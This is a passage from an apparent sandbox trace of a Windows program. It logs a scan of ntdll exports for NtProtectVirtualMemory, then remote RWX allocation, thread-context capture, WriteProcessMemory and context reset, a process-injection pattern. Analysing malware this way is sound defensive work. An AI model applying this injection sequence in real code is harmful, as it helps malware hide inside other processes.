(lpString1="LdrQueryImageFileExecutionOptionsEx", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrQueryImageFileKeyOption", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrQueryModuleServiceTags", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrQueryOptionalDelayLoadedAPI", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrQueryProcessModuleInformation", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrRegisterDllNotification", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrRemoveDllDirectory", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrRemoveLoadAsDataTable", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrResFindResource", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrResFindResourceDirectory", lpString2="NtProtectVirtualMemory") returned -1 [0140.102] lstrcmpA (lpString1="LdrResGetRCConfig", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrResRelease", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrResSearchResource", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrResolveDelayLoadedAPI", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrResolveDelayLoadsFromDll", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrRscIsTypeExist", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrSetAppCompatDllRedirectionCallback", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrSetDefaultDllDirectories", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrSetDllDirectory", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrSetDllManifestProber", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrSetImplicitPathOptions", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrSetMUICacheType", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrShutdownProcess", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrShutdownThread", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrStandardizeSystemPath", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrSystemDllInitBlock", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrUnloadAlternateResourceModule", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrUnloadAlternateResourceModuleEx", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrUnloadDll", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrUnlockLoaderLock", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrUnregisterDllNotification", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksum", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksumEx", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrpResGetMappingSize", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="LdrpResGetResourceDirectory", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="MD4Final", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="MD4Init", lpString2="NtProtectVirtualMemory") returned -1 [0140.103] lstrcmpA (lpString1="MD4Update", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="MD5Final", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="MD5Init", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="MD5Update", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NlsAnsiCodePage", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NlsMbCodePageTag", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NlsMbOemCodePageTag", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAcceptConnectPort", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAccessCheck", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAccessCheckAndAuditAlarm", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAccessCheckByType", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAccessCheckByTypeAndAuditAlarm", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAccessCheckByTypeResultList", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarm", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarmByHandle", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAddAtom", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAddAtomEx", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAddBootEntry", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAddDriverEntry", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAdjustGroupsToken", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAdjustPrivilegesToken", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAdjustTokenClaimsAndDeviceGroups", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAlertResumeThread", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAlertThread", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAlertThreadByThreadId", lpString2="NtProtectVirtualMemory") returned -1 [0140.104] lstrcmpA (lpString1="NtAllocateLocallyUniqueId", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAllocateReserveObject", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAllocateUserPhysicalPages", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAllocateUuids", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAllocateVirtualMemory", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcAcceptConnectPort", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcCancelMessage", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcConnectPort", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcConnectPortEx", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcCreatePort", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcCreatePortSection", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcCreateResourceReserve", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcCreateSectionView", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcCreateSecurityContext", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcDeletePortSection", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcDeleteResourceReserve", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcDeleteSectionView", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcDeleteSecurityContext", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcDisconnectPort", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcImpersonateClientContainerOfPort", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcImpersonateClientOfPort", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcOpenSenderProcess", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcOpenSenderThread", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcQueryInformation", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcQueryInformationMessage", lpString2="NtProtectVirtualMemory") returned -1 [0140.105] lstrcmpA (lpString1="NtAlpcRevokeSecurityContext", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtAlpcSendWaitReceivePort", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtAlpcSetInformation", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtApphelpCacheControl", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtAreMappedFilesTheSame", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtAssignProcessToJobObject", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtAssociateWaitCompletionPacket", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtCallbackReturn", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtCancelIoFile", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtCancelIoFileEx", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtCancelSynchronousIoFile", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtCancelTimer", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtCancelTimer2", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtCancelWaitCompletionPacket", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtClearEvent", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtClose", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtCloseObjectAuditAlarm", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtCommitComplete", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtCommitEnlistment", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtCommitTransaction", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtCompactKeys", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtCompareObjects", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtCompareTokens", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtCompleteConnectPort", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtCompressKey", lpString2="NtProtectVirtualMemory") returned -1 [0140.106] lstrcmpA (lpString1="NtConnectPort", lpString2="NtProtectVirtualMemory") returned -1 [0140.107] VirtualFree (lpAddress=0x24f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.179] memcpy (in: _Dst=0x86a000, _Src=0x10e6d24, _Size=0x18 | out: _Dst=0x86a000) returned 0x86a000 [0140.183] memcpy (in: _Dst=0x86a040, _Src=0x10e69d8, _Size=0x800 | out: _Dst=0x86a040) returned 0x86a040 [0140.183] LocalAlloc (uFlags=0x0, uBytes=0x318) returned 0x737ba0 [0140.187] memcpy (in: _Dst=0x737db8, _Src=0x10837d1, _Size=0x100 | out: _Dst=0x737db8) returned 0x737db8 [0140.191] VirtualAllocEx (hProcess=0x174, lpAddress=0x0, dwSize=0x318, flAllocationType=0x3000, flProtect=0x40) returned 0x4a0000 [0140.252] NtGetContextThread (in: ThreadHandle=0x16c, Context=0x18e600 | out: Context=0x18e600*(ContextFlags=0x0, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x100003, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x33, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x2b, [11]=0x0, [12]=0x47, [13]=0x2, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x30, [65]=0x7, [66]=0x63, [67]=0xcb, [68]=0xfe, [69]=0xf, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0xf0, [74]=0xb0, [75]=0x1c, [76]=0x2d, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x400004, SegGs=0x10000, SegFs=0x5b183980, SegEs=0x7ff6, SegDs=0x1c9bf9c8, Edi=0x2d, Esi=0x0, Ebx=0x0, Edx=0x1cb0f000, Ecx=0x2d, Eax=0x1cb0f000, Ebp=0x2d, Eip=0x1cb0f000, SegCs=0x2d, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x80, [45]=0x39, [46]=0x18, [47]=0x5b, [48]=0xf6, [49]=0x7f, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0140.252] WriteProcessMemory (in: hProcess=0x174, lpBaseAddress=0x4a0000, lpBuffer=0x737ba0*, nSize=0x318, lpNumberOfBytesWritten=0x18eadc | out: lpBuffer=0x737ba0*, lpNumberOfBytesWritten=0x18eadc*=0x318) returned 1 [0140.376] NtSetContextThread (ThreadHandle=0x16c, Context=0x18e600*(ContextFlags=0x0, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x100003, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x33, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x2b, [11]=0x0, [12]=0x47, [13]=0x2, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x4a, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0xf0, [74]=0xb0, [75]=0x1c, [76]=0x2d, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x400004, SegGs=0x10000, SegFs=0x5b183980, SegEs=0x7ff6, SegDs=0x1c9bf9c8, Edi=0x2d, Esi=0x0, Ebx=0x0, Edx=0x1cb0f000, Ecx=0x2d, Eax=0x1cb0f000, Ebp=0x2d, Eip=0x1cb0f000, SegCs=0x2d, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x18, [45]=0x2, [46]=0x4a, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, 